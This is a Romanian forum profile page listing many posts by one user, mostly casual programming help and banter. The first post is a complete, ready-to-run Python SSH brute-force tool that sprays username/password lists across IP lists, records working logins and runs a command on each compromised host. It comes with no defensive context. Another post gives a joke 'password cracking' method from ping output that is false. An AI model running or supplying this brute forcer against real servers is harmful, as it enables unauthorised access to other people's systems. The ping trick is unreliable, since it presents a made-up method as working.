Jump to content

MrGrj

Active Members
  • Posts

    1416
  • Joined

  • Last visited

  • Days Won

    44

Everything posted by MrGrj

  1. import Queue import paramiko import sys import threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip, user, passwd = self.queue.get() self.kraken(ip, user, passwd) self.queue.task_done() def kraken(self, ip, user, passwd): cracked = [] bad = open('bad.txt', 'w') val = open('valid.txt', 'a') nologs = open('nologins.txt', 'a') raw = open('raw.txt', 'a') dbg = str(sys.argv[4]) try: if ip in cracked: return False if '%user%' in str(passwd): passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2]) if '%User%' in str(passwd): pwd = '{}{}'.format(user, passwd.split("%")[2]) passwd = '{}{}'.format(passwd.split("%")[0], pwd.title()) if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip + ' ' + user + ' ' + passwd + '\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write('{} {} {}\n'.format(ip, user, passwd)) nologs.flush() return False val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip())) val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception as e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip + '\n') bad.flush() ssh.close() return False ssh.close() return False def brutemain(): if len(sys.argv) < 2: return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception as e: print('Cant start more than {} threads because: {}.'.format(i, e)) with open(str(sys.argv[2]), 'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]), 'rU') as uf: users_and_passwds = uf.read().splitlines() try: for user_and_pass in users_and_passwds: for ip in ips: queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip())) except Exception as e: print('Exception raised: {}'.format(e)) pass queue.join() if __name__ == "__main__": brutemain()
  2. """ Python version: > 3.6 """ import os DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) print(f'Name: {file}; Size: {file_size} bytes.') if __name__ == '__main__': print_files_info() Asta de mai sus iti afiseasa numele si marimea unui fisier. Daca vrei sa afisezi lungimea melodiei: - pentru fisiere .mp3, poti folosi mutagen: - pentru fisiere .wav, poti folosi wave si contextlib: import contextlib import os import wave from mutagen.mp3 import MP3 DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) if file.endswith('.mp3'): audio = MP3(file_path) print(f'Name: {file}; Size: {file_size} bytes; Type: mp3; Length: {audio.info.length}') elif file.endswith('.wav'): with contextlib.closing(wave.open(file_path, 'r')) as f: # The length of an audio or wave file is determined by its framerate frames = f.getnframes() rate = f.getframerate() length = frames / float(rate) print(f'Name: {file}; Size: {file_size} bytes; Type: wav; Length: {length}') else: print('Pula .mp3 sau .wav') if __name__ == '__main__': print_files_info()
  3. Toate la un gugal distanta: 1. Reverse string: #include <iostream> void reverseStringInPlace(std::string &stringToReverse) { int numCharacters = stringToReverse.length(); for (int i=0; i<numCharacters/2; i++) { std::swap(stringToReverse[i], stringToReverse[numCharacters-i-1]); } } int main() { std::string stringToReverse = "reversing a string"; std::cout << stringToReverse << std::endl; reverseStringInPlace(stringToReverse); std::cout << stringToReverse << std::endl; return 0; } 2. Factorial (recursive) int factorialfinder(int x) { if (x == 1) // HERE 5 is not equal to 1 so goes to else { return 1; }else { return x*factorialfinder(x-1); // returns 5*4*3*2*1 when x==1 it returns 1 } } 3. GCD (recursive) #include <iostream> using namespace std; int hcf(int n1, int n2); int main() { int n1, n2; cout << "Enter two positive integers: "; cin >> n1 >> n2; cout << "H.C.F of " << n1 << " & " << n2 << " is: " << hcf(n1, n2); return 0; } int hcf(int n1, int n2) { if (n2 != 0) return hcf(n2, n1 % n2); else return n1; } 4. n-th Fibo number #include<stdio.h> int fib(int n) { int f[n+1]; int i; f[0] = 0; f[1] = 1; for (i = 2; i <= n; i++) { f[i] = f[i-1] + f[i-2]; } return f[n]; } int main () { int n = 9; printf("%d", fib(n)); getchar(); return 0; } 5. Ackerman (recursive) #include <stdio.h> int ack(int m, int n) { if (m == 0) return n+1; if (n == 0) return ack( m - 1, 1 ); return ack( m - 1, ack( m, n - 1 ) ); } int main() { for (int i = 0; i < 6; ++i) for (int j = 0; j < 6; ++j) printf("ack(%d,%d) = %d\n", i, j, ack(i,j)); return 0; } La alea cu structuri de date mi-e lene sa caut, da' pula mea, mai fa si tu ceva.
  4. GG pentru initiativa. Vad ca ai ceva timp pe forumu' asta si eu intru din ce in ce mai rar. Am incercat sa dau c/p intr-uun IDE sa bag cateva imbunatatiri da' sa-mi bag pula daca nu mai mult m-am enervat. Daca vrei sa faci ceva cum trebe' pentru forum (chiar daca spui ca ii facut asa intr-o doara in conced), fa si tu un commit pe git sau ce folosesti tu, pune un link aici, alege o versiune de Python recenta nu ceva care o sa fie deprecated maine poimaine. Ca mai vine azi unu' cu un edit, maine altu' cu un issue, si pac te trezesti cu meleonu' de la Dragnea care iti cumpara aplicatia si o baga pe RATB. Pwp & no homo
  5. Lma
  6. 1. Deschizi un terminal 2. Bagi comanda urmatoare: ping 127.0.0.1 # username 3. (In loc de "username" pui username-ul ala gasit de tine). INFO: In response o sa vezi ca primesti niste chestii ca: 4 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.063 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.080 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.135 ms ... 4. Lasi sa primesti vreo 300-400 de astfel de linii si parola o sa fie una din ele astfel: icmp_seq=0 + time. Exemplu 1: icmp_seq=00.063 Exemplu 2: icmp_seq=10.080 ... si tot asa. Ideea e sa ai rabdare sa le iei pe toate la mana si sa nu ratezi nici macar una. Eu asa am spart vreo 20 de d-alea. Sper sa mearga si la tine. (La asta se referea si @u0m3 cand a zis de "bruteforce" sau "phishing"). Nu te lua dupa astia de aici ca sunt rai si nu vor sa ajute oameni. Fundita pls
  7. IBM has struck a deal to acquire cloud software company Red Hat for $34 billion. IBM will pay $190 per share for the software company, which it described as the world's leading provider of open source cloud software, a more than 60% premium to Red Hat's closing stock price of $116.68 on Friday. Shares traded upwards of $175 in June, butdisappointing earnings combined with a volatile market had seen the price drop sharply. More here: https://www.businessinsider.com/ibm-is-reportedly-nearing-a-deal-to-acquire-redhat-the-software-company-valued-at-20-billion-2018-10
  8. N-ai shaiz-da-euro ma? Mars la distractie aicisha ca iar te duc in regie :)))))))))
  9. Nu seamana "catarii" cu "cautarii" niciodata.
  10. =))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
  11. Poti lua modafinil linistit. Consulta totusi un medic inainte pentru ca exista si reactii adverse daca esti alergic la anumite substante
  12. @spider sunt aproape sigur ca nu e cazul aici, insa exista oameni care sunt antisociali, introvertiti si sociopati. Astfel de oameni nu stiu cum sa abordeze o femeie. De fapt, nu stiu cum sa porneasca/intretina o discutie cu oricine. @Alexandrustiemulte https://kupdf.com/download/cum-sa-vorbesti-cu-o-femeie-alex-david-wwwfiibarbatro_5a46bd4de2b6f5a30759630b_pdf
  13. Ba, nu fi pizda. Si stiu ca nu esti suparat ca nu ai de ce. Eu ti-am zis de la inceput ca stau prost cu timpul. Asta unu la mana. Doi, scriptul il ai si e functional, doar ca trebuie retusat un pic, asa ca nu te plange ca nu primisi nimic, ca acum pun mafia aeliusiana pe tine. Stiu ca am zis ca intru ieri, da' nu avui timp. Il fac acu'. Data viitoare nu mai veni sa te plangi aici Ca nu-i frumos. Zic si eu. //EDIT: M-am razgandit. Te-astept cu walletu' pe Skype / PM. Daca ai timp sa postezi (te plangi) pe forum ai timp sa gasesti si pe altu'. No offence Pwp @aelius
  14. https://pwnthecode.com/ Enjoy! PS: Momentan nu te poti loga cu ajutorul social media, dar cred ca te descurci si cu cont normal. Nu prea e timp si fiecare face ce poate.
  15. Uhm, neuroni inca functionali?
  16. Da-mi PM si spune-mi ce ai nevoie
  17. Cateva sugestii, majoritatea PEP8 related: - constantele ar trebui sa fie UPPERCASEd: (e.g: targetRadius ar trebui redenumit ca TARGET_RADIUS) - ar trebui sa lasi doua linii noi intre functiile din afara unei clase sau intre functii si clase Asta: .. particleColor = sf.Color(255, 255, 255, 50) def distance(x1, y1, x2, y2): """ Calculate the distance from 2 points. (X1, Y1) and (X2, Y2) Formula: ( (X1-X2)**2 + (Y1-Y2)**2 )**1/2 """ return math.sqrt((x1 - x2)**2 + (y1 - y2)**2) class DNA(): ... Ar trebui sa arate asa: .. particleColor = sf.Color(255, 255, 255, 50) def distance(x1, y1, x2, y2): """ Calculate the distance from 2 points. (X1, Y1) and (X2, Y2) Formula: ( (X1-X2)**2 + (Y1-Y2)**2 )**1/2. """ return math.sqrt((x1 - x2)**2 + (y1 - y2)**2) class DNA(): ... - denumirea variabilelor tre' sa fie snake_cased (la fel si numele metodelor): e.g: def applyForce -> def apply_force etc - cand iterezi printr-o lista, si ai nevoie si de index si de valoare, e recomandat sa faci asa: lista_mea = ['malai', 'faina', 'pui', 'clatite'] for i, value in enumerate(lista_mea): print(i, value) """ output: (0, 'malai') (1, 'faina') (2, 'pui') (3, 'clatite') """ - cand creezi o clasa care nu are nici-un argument poti renunta la paranteze: class DNA() -> class DNA: - urmatoarea functie: def crossover(self, partner): """ Take the genes from 2 parents and create 1 offspring """ newDNA = [] # Pick one random point from the genes randomPoint = random.randint(0, len(self.genes)) for x in range(len(self.genes)): if x < randomPoint: newDNA.append(self.genes[x]) else: newDNA.append(partner.genes[x]) return DNA(newDNA) Poate fi rescrisa cu recomandarea de mai sus si folosind list comprehensions astfel: def crossover(self, partner): """ Take the genes from 2 parents and create 1 offspring. """ random_point = random.randint(0, len(self.genes)) new_dna = [ value if i < random_point else partner.genes[i] for i, value in enumerate(self.genes) ] return DNA(new_dna) Probabil ca se pot face mai multe schimbari insa nu am timp sa ma uit peste tot codu'. Felicitari oricum pentru efort si keep it goin'
  18. Da-mi skype pe PM si te ajut eu in Py
  19. Ia d-aici Silvache: https://def.camp/venue/ -> http://goo.gl/maps/Z8I34 -> Calea Rahovei 198A, București
  20. Datorita eforturilor depuse de @SilenTx0 @sleed @QuoVadis , pwnthecode (varianta beta) este aproape gata. Ca orice platforma care se afla in beta, avem nevoie de cateva persoane care sa testeze aplicatia. Eventualele buguri, greseli, etc pe care le gasiti, o sa va rog sa mi le trimiteti mie, sau unuia din cei trei useri mentionati mai sus, prin PM (daca iese treaba si exista un numar rezonabil de testeri, probabil ca se va creea un canal pe Slack in care vom discuta tot ceea ce se gaseste in neregula pe platforma). NU postati problemele gasite aici pentru ca vor fi sterse! De asemenea, cei interesati de testare, va rog sa cereti link-ul catre aplicatie tot prin PM. Pwp & Multumim anticipat!
  21. Nu exista Windows custom bun si eficient. Exista laptop bun (cu resurse decente) sau prost. E simplu, dai un ban in plus si rulezi orice.
  22. Hello, In Python, it's really easy to work with API calls using the requests module. To install it, just do: pip install requests Unfortunately, depending on your version, the API is largely SOAP based. The simplest way to consume VMWare's API is via one of the existing SDKs. Now, moving further and looking at a newer version of VMWare docs, we can see that there's an already developed module to interfere with it named pyvmomi. You can follow the instructions from the github to set everything up. If you follow carefully those steps you will find this https://github.com/vmware/pyvmomi-community-samples/blob/master/samples/ which contains tons of examples. Now, literally speaking, if you specifically need to play a bit with requests, you can do the following: 1. Import the needed modules 2. Make GET requests 3. Process the data 4. POST processed data 1. Import the needed modules import requests 2. Make GET requests GET_URL = 'https://httpbin.org/get' POST_URL = 'https://httpbin.org/post' data = requests.get(GET_URL).json() # this will be a json data structure containing the data you need The output of the above is: {'args': {}, 'headers': {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Host': 'httpbin.org', 'User-Agent': 'python-requests/2.18.1'}, 'origin': '86.120.146.226', 'url': 'https://httpbin.org/get'} 3. Process the data Let's suppose you want to modify the origin value into something else: data['origin'] = 'something else' 4. POST processed data r = requests.post(POST_URL, data=data) print(r.text) Now, the output of the above will be: { "args": {}, "data": "", "files": {}, "form": { "headers": [ "Accept", "Accept-Encoding", "Connection", "Host", "User-Agent" ], "origin": "something else", "url": "https://httpbin.org/get" }, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Content-Length": "147", "Content-Type": "application/x-www-form-urlencoded", "Host": "httpbin.org", "User-Agent": "python-requests/2.18.1" }, "json": null, "origin": "86.120.146.226", "url": "https://httpbin.org/post" } Now, regarding your unicode issue, the error was raised because the data is a unicode/str variable, which means that you first have to make it a JSON object (which is basically a dict). In my example, you can see that I already called .json() which makes sure the data is a JSON object. But, if the returned data is a string, you won't be able to do that. To do that, you can use the json module: import json data = json.loads(data)
  23. In principiu: - tu, ca developer care descarca un package, trebuie sa faci audit (sau sa pui pe altcineva sa faca asta daca folosesti modulul in ceva critical environment / production). - toate package-urile PyPi au semnaturi md5 atasate (unele au chiar si PGP). Cu md5 se verifica integritatea, iar cu PGP integritatea + originea. (asa ca e recomandat sa se descarce package-urile care au md5 + PGP). Acum intrebarea fireasca: pot sa fie PyPi signatures trusted ? Pai, pot fi trusted la fel de mult ca oricare alta semnatura Am vazut ca se practiva mentinerea unui repo PyPi intern. Avantaje: - verificare mai buna - fiabilitate mai buna + viteza (daca serverul oficial PyPi pica, te doare la banana) - eviti problemele cu updateurile / package-urile inlocuite bla bla
  24. Nice challenge si mersi de urari @Silviu Frumoasa postare (si fain challenge @Usr6)
×
×
  • Create New...